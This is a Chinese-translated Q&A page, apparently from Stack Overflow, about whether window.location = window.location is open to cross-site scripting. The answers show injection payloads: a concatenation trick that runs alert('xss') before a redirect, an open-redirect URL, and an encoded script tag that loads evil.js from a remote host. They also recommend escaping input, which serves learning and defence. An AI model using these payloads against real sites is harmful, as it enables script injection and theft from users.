window.location=window.location易受XSS影响

Is window.location = window.location susceptible to XSS

本文关键字:window location 影响 XSS 易受      更新时间:2023-09-26

此问题与作为刷新页面方法的代码window.location = window.location有关,与重定向/其他变量无关。

我的理解如下:

window.location = window.location导致页面刷新,因为浏览器将导航到用户已经所在的相同位置

通过DOM操作对此变量的任何更改都将导致页面重新加载/加载攻击者页面,因此这些行将无法在更改值的情况下执行,因此不适合进行跨站点脚本攻击。

这是正确的吗

编辑:我真正想问的是,是否有一种方法可以在不重新加载页面的情况下更改window.location,以便在调用window.location = window.location时,浏览器将被发送到另一个位置。

所以,如果我正确理解你的问题,那么这些答案都不正确。可以利用window.location来执行xs。您遇到的障碍似乎是在执行window.location行之后,页面将刷新并跳过有效负载的执行。我假设您能够在window.location右侧的字符串中引入内容,并且输入没有正确编码为JavaScript字符串。

例如,如果http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+'导致如下代码:

<script>
  window.location='derp';alert('xss');var a = '';
</script>

您可以利用字符串串联将分配推迟到window.location,直到您的负载执行完毕。所以类似于:

http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+'

将产生执行有效负载的以下代码。

<script>
  window.location='derp' + alert('xss') + '';
</script>

不过,这确实应该在安全性StackExchange中。

问题与window.location无关,而是与如何处理在新上下文中使用的任意数据有关。

如果你从一个URL中获取输入,并使用它来构建一个新的URL以重定向到,那么你就会发现问题。采用经典重定向页面。。。

http://example.com/redirect?url=http%3A%2F%2Fsomethingevil

如果页面上有JavaScript将window.location设置为查询字符串参数url的值,则页面将转到http://somethingevil

XSS的主要方法是允许查询字符串参数将数据注入页面本身。例如,您可能有一个页面显示"Hello Brad",其中"Brad"来自名为name的URL参数。现在,假设攻击者将URL设置为name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E。如果我只是将name的值直接注入到页面中,那么我的脚本evil.js将在该页面上运行。如果我正确地转义数据,那么它可以在页面中使用,因为它将被解释为文本。